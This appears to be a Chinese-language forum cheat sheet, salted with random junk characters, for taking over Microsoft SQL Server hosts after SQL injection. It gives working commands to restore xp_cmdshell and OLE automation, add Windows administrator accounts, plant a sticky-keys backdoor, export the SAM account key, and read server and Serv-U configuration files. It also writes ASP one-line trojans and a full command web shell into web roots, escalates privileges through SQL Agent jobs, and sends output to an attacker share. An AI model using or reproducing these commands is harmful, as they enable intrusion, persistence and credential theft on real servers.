1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
9 ]- Z, V3 l& M7 c恢复方法:查询分离器连接后,
6 _* o) Q+ [, [/ u6 r$ n第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
5 Z* ^4 d; O( l& d第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' . z, L( _* ` y
然后按F5键命令执行完毕% d8 T# ]' Y4 a: \; p
. ?+ t4 ], P; x+ A' f
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)5 p( z0 D( u6 Q7 t: d' `& `6 b" _" u; |
恢复方法:查询分离器连接后,7 O- }$ J7 ?1 N0 {/ `5 i( \
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
r+ u# r( J ~! N m6 f第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll': ]2 [) M, \7 x! `) U
然后按F5键命令执行完毕
) n) G% o) m! V; d! P& M1 i2 H7 [8 |. Z6 H* E, L& Q8 f
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)& K7 t z+ w4 e5 L
恢复方法:查询分离器连接后,( r; i2 J7 s- A
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
9 ?3 g& W( \6 x第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
8 f3 H. O: y4 d8 e6 m, g g& K+ e然后按F5键命令执行完毕! }2 e b' P# X4 s6 _1 i
F7 Z* {6 w: k [' t4 ^
4 终极方法.8 i. F9 c9 X( [8 g1 t) E5 j
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:: F9 E4 D# v3 d
查询分离器连接后,; ^4 [' f4 b3 j |2 n
2000servser系统:0 ~, r" p& D `
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
, H; ?$ A# k- R4 j4 c( R, t
5 a; m: t( Y' |5 ]) Z0 tdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'4 m2 v3 `5 A5 I
) O- X4 g& u# Z4 T$ C0 Jxp或2003server系统:8 W" n4 u8 H# N; G) F% w% i! J
7 E1 ^* F% j1 j) v# m) M
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
+ l H }7 G2 c1 i: V7 }( z" M9 ?6 Y( D( e! ^3 y4 s5 O
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'- E1 S0 B( b' ~
- k$ Q. K# X% f/ `
* P" N- S- A; S% D
五个SHIFT
9 N' d, L; ~) _: b9 Rdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
# E, ]0 p* |" _8 T' ]
8 b# ^9 r- e; }% [3 c+ E9 Bdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
9 U. j4 G- }5 G
1 O, C" a5 y3 m: Z2 A* @' wxp_cmdshell执行命令另一种方法1 {- ~+ U# `. g6 s' w
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ! A. _8 ^& M9 W# l% f. m
( [7 G# f" a6 j2 Q, x0 Q, K6 @$ c
判断存储扩展是否存在5 e( s$ k" M4 `' z4 `0 K, a
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
. c8 V7 g6 U0 i. o" q! |, c返回结果为1就OK( q5 [( l9 L* Z/ Z: U( o9 ]
1 e# P+ x* g* |: f, z& w( q: D% c7 `' E3 h" i
上传xplog70.dll恢复xp_cmdshell语句:
4 `7 N& a( O9 P p4 }$ Esp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'( {' p9 Q r* ^9 S; N- H
2 R* E" E/ f* ]" o. e, e9 d否则上传xplog7.0.dll: r8 f, O! [' p- A
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'* a1 _- G4 X' d/ ?$ ^
9 M) h2 @ s9 D) H1 D+ `, v5 | p2 n* q
* A# f" x# O' o8 R- X% }) O首先开启沙盘模式:+ X2 |* L& n& [) w
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
' b" c8 _$ }" B7 ]; O/ _$ D% c2 l2 `. e
然后利用jet.oledb执行系统命令- R6 T5 u4 r$ Z6 r
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')- d6 M K) f; o) P. R# ?3 r0 B" F
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了* [; N3 ]5 k' \' \
- C: [- a/ L, |# y H) u2 O8 B' c# X: ^: G
! J& c; P) T0 H8 u _. X+ A恢复过程sp_addextendedproc 如下: 7 c+ ]# f- [$ a a% G# w; I
create procedure sp_addextendedproc --- 1996/08/30 20:13 - S+ E, C' ^1 a s- n5 X" s( B
@functname nvarchar(517),/* (owner.)name of function to call */ - _! m( a( V: F. y. J% G
@dllname varchar(255)/* name of DLL containing function */ # ]8 q" h7 O( ?' k2 l; F
as 1 _( I2 r) f) T+ h; A
set implicit_transactions off
! j2 B1 J8 f, T& q/ pif @@trancount > 0
, M# \( L l7 V( fbegin & s3 Y) `8 {' f* R6 E+ l% I$ @2 K, H
raiserror(15002,-1,-1,'sp_addextendedproc') , h) c$ \' X& Q W6 v( w
return (1) a; p: L( h& u
end : ], I) v& ^% n* {: Y
dbcc addextendedproc( @functname, @dllname)
$ `/ Y* J/ L8 B7 p7 D5 K- R$ g( oreturn (0) -- sp_addextendedproc + [! R* L8 C. \2 i
GO $ I8 Q) q+ M: _! E3 P/ e
2 x6 b% G/ R9 ~0 \4 L- [% c5 U! e8 t8 Y8 Y3 x
; U% W/ F2 r& U
导出管理员密码文件5 `$ e! v* i! Z7 G V$ a
sa默认可以读sam键.应该。
* q7 z7 b$ w+ ^9 k9 qreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg) R% {3 B q# ^6 Q; v
net user administrator test
8 M: i0 ]8 n" w0 [0 }; B用administrator登陆.- V6 ?) g, B" O/ A. e5 f, j' ]/ a& W
用完机器后
8 ?" V5 } u! v6 X- E2 l+ Wreg import c:\test.reg
0 i8 D% H, F5 Y2 F根本不用克隆.
& W) d: t$ q' `/ I找到对应的sid.
4 D4 h! S+ ^# H: }
3 q" c, U7 C9 I
7 q0 Z% X' M3 l3 Q! F) ~ i
& M* \; m3 u0 n: G$ a恢复所有存储过程
6 ?9 n: y1 P" |: C# R. Ause master 5 \% o8 V- | Q m- z. V7 J- }
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
M5 Q4 t6 J# ^# ]% }, |& \exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 7 c8 i+ c9 z1 L) F5 U
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
# y5 x9 ~; V9 P; ^exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
2 X2 k# S0 e; J8 V& b% [exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
( m3 M( i7 \! @' yexec sp_addextendedproc sp_OACreate,'odsole70.dll' / I- _$ i8 N2 J
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 2 A" r( ~& H. x
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' ; W# |8 D9 |$ E$ @. E1 G
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
0 \. ~/ K' H, p/ yexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
# |7 T" ]) l" l" L; cexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' ' z2 V# S; i1 l
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
' U6 K8 [6 x6 |1 Y& Kexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 9 _& d. v2 d5 k0 y# N: T) w
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
@7 A# @( u6 Y; J: ^% [exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
7 P, L* A% M4 j, M& o6 ?* Oexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
3 H/ S/ h6 q5 `8 h/ i/ S: N2 q8 j) jexec sp_addextendedproc xp_regread,'xpstar.dll'
7 ?6 j( T/ p1 `& d) Rexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
& i* @% H* H$ P8 Z; M# j7 r3 Gexec sp_addextendedproc xp_regwrite,'xpstar.dll' : [. o, n7 l- u5 e5 e" p0 e
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
( j) s7 f6 g$ \" `! T0 v
% G" k, x F2 b u' s) {% I, V' V; \ d3 V1 j; P2 k; G
建立读文件的存储过程- f8 q% x o. t" _0 p. c
Create proc sp_readTextFile @filename sysname5 e1 J: F- s7 P$ d/ J( v X% Q; i
as
' y8 }* e- r& j+ k, U# h! B3 _, P8 N' o. Z
begin 6 ]/ b' s) b9 k% s) p: e
set nocount on
4 n9 r0 a6 Y* N5 j1 U' P! N/ i Create table #tempfile (line varchar(8000))
3 X; j& n2 \ m! X) @* m( j exec ('bulk insert #tempfile from "' + @filename + '"')& U8 L% u! l' T% n
select * from #tempfile& ^: W# i! z5 s& Y0 T) m' }7 N4 _
drop table #tempfile
) z0 O/ l$ ]- ZEnd; V) {2 r# R+ O- w
4 Y5 L# r; g4 m% g$ }8 k* Dexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件' v3 X- k+ w8 P$ J
查看登录用户/ ?% C) ?0 a) V/ w
Select * from sysxlogins
+ A: e1 i4 {- d& n$ ^! O. |
5 V R' A, H4 A1 I, }把文件内容读取到表中3 d3 R& x3 T! J& X7 P3 r
BULK INSERT tmp from "c:\test.txt"7 ^) d. o: L( |4 R! ?$ ]# J
dElete from 表名 清理表里的内容
$ E& A2 w i" j a; }2 Z7 I. [" Lcreate table b_test(fn nvarchar(4000));建一个表,字段为fn* |: Y! w7 r6 T. \% H, J& d& ]
$ K0 R; P( w: P2 c1 K4 y2 y% V4 w$ x1 Y2 I$ u9 A! X7 q& w9 r. b8 a
加sa用户
* M7 f1 F) T* T. Dexec master.dbo.sp_addlogin user,pass;2 g4 _. S9 C4 b0 l& Y
exec master.dbo.sp_addsrvrolemember user,sysadmin2 G6 n0 _3 u+ M5 k$ Y) E+ @
j( ^3 T3 ]$ n4 M# {1 E
, f% C# n5 [* \8 w, M' L Z+ k9 x# d( @5 U. D0 j0 e7 z
读文件代码3 Z; t) F7 @& W8 ?) l7 u" Z
declare @o int, @f int, @t int, @ret int
4 q, u; n; i5 x. \! e4 ?declare @line varchar(8000)
0 `/ T1 G1 w: S$ } ~* Sexec sp_oacreate 'scripting.filesystemobject', @o out& ?( c+ C9 C: {) B% G
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
3 S" v8 T Q0 lexec @ret = sp_oamethod @f, 'readline', @line out
: j) I% w' J0 l; A: [7 s gwhile( @ret = 0 )' k, \& Z! h+ n e; b
begin
* U4 Q/ M8 U) ~' g, q5 y5 u7 a* ~, Sprint @line
" m0 O$ z- m6 e3 h( Nexec @ret = sp_oamethod @f, 'readline', @line out
% Z9 r" J' e8 ]4 J% M8 v# Kend- t r9 }5 n! `* b5 m; y
4 i& a" q7 g- F- S4 W
6 T" @5 \4 \( t0 u, E, ]: k写文件代码:
( N- e% ]# S' V- w) N; cdeclare @o int, @f int, @t int, @ret int. n$ I% l( C( ^' r
exec sp_oacreate 'scripting.filesystemobject', @o out0 D6 b6 E3 X M" Q
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 12 P$ m* p9 K& ]6 q
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
' L f0 T7 B# Q- D7 { L5 v3 N p3 I/ |/ a
% \# I3 I6 \4 X: t4 w
添加lake2 shell
6 `6 v) A: f5 N; {# q9 N( }2 Lsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'" j9 V1 n W9 U/ ^ Q% J: E0 j
sp_dropextendedproc xp_lake2" s U# B4 Z' i3 }
EXEC xp_lake2 'net user'7 R3 ]- @/ A7 k0 r) L" i& }# K$ o% Q: D
+ E% B( x* A1 r! G2 x4 E( v
1 H T4 M' Q; \+ W( h
得到硬盘文件信息 & T! X' T A" q6 K2 ?- b
--参数说明:目录名,目录深度,是否显示文件 _% c: L4 b& P6 [. m1 a, H0 N
execute master..xp_dirtree 'c:'
8 C, r+ f0 s+ P! Z8 r6 S9 G9 [8 t1 gexecute master..xp_dirtree 'c:',1 . W, M( j4 e8 W7 U: ?1 m2 Z( E
execute master..xp_dirtree 'c:',1,1
e6 w# Y& |# |$ o& x8 Z- O3 O: V" M' |2 N6 z: A; N
# B% m) [# O; q" x- S) H) f
读serv-u配置信息
0 ]2 ?) Z6 m! k' Yexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt', l' P s' M' | V+ X4 P1 ?
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
- u2 W9 f1 G/ Z$ [6 L4 B7 I+ O0 C3 R% X V2 X
通过xp_regwrite写SHIFT后门
" r; `3 M* m8 R! `; c6 texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
* m6 j. H! x+ h% h; w5 O# p% B* ^" W, s/ J$ Y
& W) p3 g/ y3 n% E
, B0 [. J1 X# g9 l* ]- Z1 A找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
5 G7 S% i1 N8 ~exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
, T9 |7 m* r0 S8 H" o, h7 x/ \: d7 }2 [% U" H. p
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
! T; i. h8 Q3 }1 Q6 X9 a
H: S0 U7 |' X! N- g! I' H" n
' `( T! x+ x' P& _' ]6 \4 X* `" q0 [
sql server 2005下开启xp_cmdshell的办法3 I! c+ p6 a: ^
3 f: J$ Y3 O' v2 w+ k1 [EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
1 I( t! I4 L9 v
+ t/ ]/ G" s- E" G' g. hSQL2005开启'OPENROWSET'支持的方法:
: l- L$ t/ m3 e9 Z3 u* F" ?( O( u
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;, O) b/ V& \7 r1 l! }0 X
9 J. E0 o2 ^1 _. e# kSQL2005开启'sp_oacreate'支持的方法:: M9 D1 l" r M4 m1 c/ m: Z
( |5 S3 j/ K; K* z) n: @
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
' @1 h! \ }: P4 W
- D3 G; w& z) X" M, W7 j6 _* a+ H/ q8 P
* o6 B7 W/ I0 J' m6 S
( D7 v; q- G' x# a& H
9 d( b4 W6 }. ?- }9 X9 k( s( w( e8 f' _6 L
# [6 d- [ c w5 E$ n' g
* z9 K3 I' v* x; W, i
* C( I( {% w' R
9 Z6 U" G1 O3 j( @9 P
7 u, }' T& G8 _5 w9 ?+ K. S* t, F& y/ K5 z: i
1 B: { _' B; ~
9 ^" i. J! C" Y" w: K6 Y$ i+ T2 a) L7 g+ ?% Y6 {& z8 ?" \
+ G- O9 m3 |8 r4 Q G
. Y4 b# b3 r: c: `3 Z6 n; I7 q) k) y# `' P
`' [" m% u, ~3 O* W# W
; d" y# o. x% V- k% ?9 }7 k+ |3 }- R( ^8 Y
4 c" d& y) {, s1 A* F
, a" J+ t0 s3 {) v
0 u) Q3 q, y, ?4 d& u2 d N以下方面不知道能不能成功暂且留下研究哈:
) N- i5 c" J: {9 }6 s ^$ i4)7 q; s9 w$ }1 ~7 _$ i
use msdb; --这儿不要是master哟- E: _ g; T. m# b7 Q8 p
exec sp_add_job @job_name= czy82 ;& M* ]( k/ F3 M/ y' ?* F6 p
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
9 |: J; T4 L" |exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
9 ~* ?" w, t" ~+ g5 p7 w( R: Zexec sp_start_job @job_name= czy82 ;
- v! F! o( b, l+ Z% \8 k
6 m- `& d* J" U# x/ L G利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以3 B j6 Z; M* u1 H2 Y+ ^
执行tsql语句了.
: C4 W) f% R5 @8 A6 A0 H8 z. s) f对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名0 a7 A- b' u6 V- Z/ k, A& e
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
3 v: q; I9 D( _net start SQLSERVERAGENT
; m- E: d. M7 b" Y1 H" ]9 v6 ]1 {# m- |* v
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
% ^+ J9 x% |9 QUSE msdb d( C' O% Q0 L9 N
EXEC sp_add_job @job_name = GetSystemOnSQL ,
/ h- W( v7 Z9 n$ q@enabled = 1,- l2 H3 Y3 F7 V/ b$ F, O* ]1 p
@description = This will give a low privileged user access to s# j; Y& q3 b: I, ]; r; ?+ W$ j) E! D
xp_cmdshell ,7 h }" c }, u: D* n
@delete_level = 1- Z; z5 U2 a7 z. C" }3 ]
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
2 A; |. f) ^1 H$ x@step_name = Exec my sql ,% X$ J0 e! ?2 p( a o" _
@subsystem = TSQL ,8 K' f) Q5 v5 B1 H! L S# D
@command = exec master..xp_execresultset N select exec; h+ Y p9 o4 h+ R; D9 ?+ y6 J
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
1 W5 l J) }0 H3 I8 dEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,1 @3 a" R% N9 _$ ?3 c7 {
@server_name = 你的SQL的服务器名 3 t& c0 I; s! g3 w0 ~ N8 j8 B1 d
EXEC sp_start_job @job_name = GetSystemOnSQL 0 g8 M+ \0 b' ~# q2 L3 B
) n$ t: c8 i$ Z, [/ W1 E不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
) X7 w( H, v: p/ |7 a* n$ k1 p u才让我们可以以public执行xp_cmdshell
; @! s# M' Y9 B$ q! V& W9 e. o- I7 x6 m3 p) e
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
# k4 A% R5 Z" i& w在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
6 o; J/ E! e/ R) g: S) Z$ [2 E
# P# m; a4 H; |7 k$ A, v! TUSE msdb
) j, B* J/ v3 c- JEXEC sp_add_job @job_name = ArbitraryFilecreate ,
* @4 k) n. X* p* u! }@enabled = 1,% M( _: r6 d+ n# L
@description = This will create a file called c:\sqlafc123.txt ,
% V" N: K+ ~$ W* l. C@delete_level = 1
" c, U( |! {1 k1 L* {EXEC sp_add_jobstep @job_name = ArbitraryFilecreate , n( ?% ?3 Z' N" E! S- Z& U
@step_name = SQLAFC ,
' _4 t% h! A6 O) j- F* p1 t1 W@subsystem = TSQL ,
4 Z9 w S9 n4 L! D! q' e; P@command = select hello, this file was created by the SQL Agent. ,
_' B$ Z( Q8 v0 S9 ~9 ?! d@output_file_name = c:\sqlafc123.txt
4 g# Z$ k3 `3 d6 ]0 iEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
6 A/ y3 K; B6 X1 C0 w' a5 O& \+ r( u@server_name = SERVER_NAME * d: v7 a3 \" A! X$ |5 s- b$ c! B" d, W
EXEC sp_start_job @job_name = ArbitraryFilecreate
3 a! v' _, v3 f8 c
( z2 U8 t4 y" b1 K2 ?: M如果subsystem选的是:tsql,在生成的文件的头部有如下内容( `) g0 j/ [% {- J( X4 }: {
3 |! J8 B1 k' [8 z% x??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19) c* U N/ D+ j" Y) E p; W$ n
----------------------------------------------, A: b3 l9 g% A3 L a4 K
hello, this file was created by the SQL Agent.+ g$ Q/ J; K, ~$ Q9 m1 c
+ P/ ]2 s- H3 c6 J4 ]# d(1 ?????)
3 k7 K3 f, }. d0 T3 E! I: q4 N# W
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员6 A2 \) _/ j6 D' a
命令的vbs文件到启动目录!
4 g9 d. h$ Y. D, l( V3 ^1 Q7 r- m5 o0 b" O% N4 L) n" _" k3 @
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)( `7 D% ^2 y8 N
关于sp_MScopyscriptfile 看下面的例子( }' t3 e# j2 [
declare @command varchar(100) * D9 i, o! l/ @. Z6 i9 z5 x i
declare @scripfile varchar(200)
6 W6 M4 L0 {4 |3 wset concat_null_yields_null off
3 G: o2 k) m: yselect @command= dir c:\ > "\\attackerip\share\dir.txt" + S9 F- @" ]& c4 ~* Q J7 w
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 8 _1 }! u2 I' Q. `, ?
exec sp_MScopyscriptfile @scripfile ,
3 i7 j. D, ]9 D O
, [5 t* _$ f M' w2 w' r! G这两个东东都还在测试试哟
9 ]" r2 a0 K$ W/ V2 ^让MSSQL的public用户得到一个本机的web shell - _' k [9 I. J
, f0 y: ]5 }$ j3 p/ msp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,5 \+ ?4 q1 h, W+ N6 z
--@query= select <img src=vbscript:msgbox(now())> 3 I' Y8 Z- Z: V0 x1 n6 s& ?" S
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 8 Q O$ ^+ Z' U0 l# Y0 ^" \
@query= select ' I& T, }, I1 M, t8 i {6 N" U
<%On Error Resume Next
3 s+ h. _; n) i+ A7 ESet oscript = Server.createObject("wscript.SHELL") - V) S. F% v) o1 A
Set oscriptNet = Server.createObject("wscript.NETWORK")
7 m7 e5 W1 [3 Z& WSet oFileSys = Server.createObject("scripting.FileSystemObject") 3 R. T* _* E' {' J& q1 g! ^
szCMD = Request.Form(".CMD") - o& P" d+ @4 Q& f# G
If (szCMD <>"")Then
- V& Z" L# J/ c/ J8 z. XszTempFile = "C:\" & oFileSys.GetTempName() $ ^) a. h$ g% G0 i3 S
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
' a- L5 ^' o, Q, b, VSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
$ T) L5 U1 V# {2 k3 Q, X/ OEnd If %>
# S0 `* S4 n' h1 }* {<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> % e. p- M' U. C; L2 Y4 b/ F
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ( M% G/ S! I# K& \; I( \9 a
</FORM>< RE> / h" | S' I" q% @' v
<% If (IsObject(oFile))Then
3 W$ m6 c& j5 M9 X1 T5 ~On Error Resume Next $ i: j9 F" x) D4 [
Response.Write Server.HTMLEncode(oFile.ReadAll) 2 m1 ]0 u7 R6 [ {( |' t9 B5 Y5 _
oFile.Close 9 B" o* i5 m9 B5 ^; V" r/ d
Call oFileSys.deleteFile(szTempFile, True) 5 i {. X. O8 X7 y$ e
End If%> 1 n( u# T! a' n0 q
</BODY></HTML>
( O: ~4 c) ]: x6 ?; r |